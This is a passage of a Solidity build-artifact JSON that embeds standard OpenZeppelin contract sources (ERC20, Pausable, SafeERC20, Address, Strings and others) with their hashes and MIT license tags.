_grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor () {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xab1f67e4c96dfe0e3875d22883c3dee5411914f40ce0c54ef407f030d803512e\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\\n * tokens and those that they have an allowance for, in a way that can be\\n * recognized off-chain (via event analysis).\\n */\\nabstract contract ERC20Burnable is Context, ERC20 {\\n /**\\n * @dev Destroys `amount` tokens from the caller.\\n *\\n * See {ERC20-_burn}.\\n */\\n function burn(uint256 amount) public virtual {\\n _burn(_msgSender(), amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\\n * allowance.\\n *\\n * See {ERC20-_burn} and {ERC20-allowance}.\\n *\\n * Requirements:\\n *\\n * - the caller must have allowance for ``accounts``'s tokens of at least\\n * `amount`.\\n */\\n function burnFrom(address account, uint256 amount) public virtual {\\n uint256 currentAllowance = allowance(account, _msgSender());\\n require(currentAllowance >= amount, \\\"ERC20: burn amount exceeds allowance\\\");\\n _approve(account, _msgSender(), currentAllowance - amount);\\n _burn(account, amount);\\n }\\n}\\n\",\"keccak256\":\"0xb8cc16fa5514ccbff1123c566ec0a21682f1ded0ca7e5df719c6bd0b7429390a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC20 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n */\\nabstract contract ERC20Pausable is ERC20, Pausable {\\n /**\\n * @dev See {ERC20-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\\n super._beforeTokenTransfer(from, to, amount);\\n\\n require(!paused(), \\\"ERC20Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x86b0abb859d38e6909101e8dce6fad76543cd1443788b049fd182379b42cb6e3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to 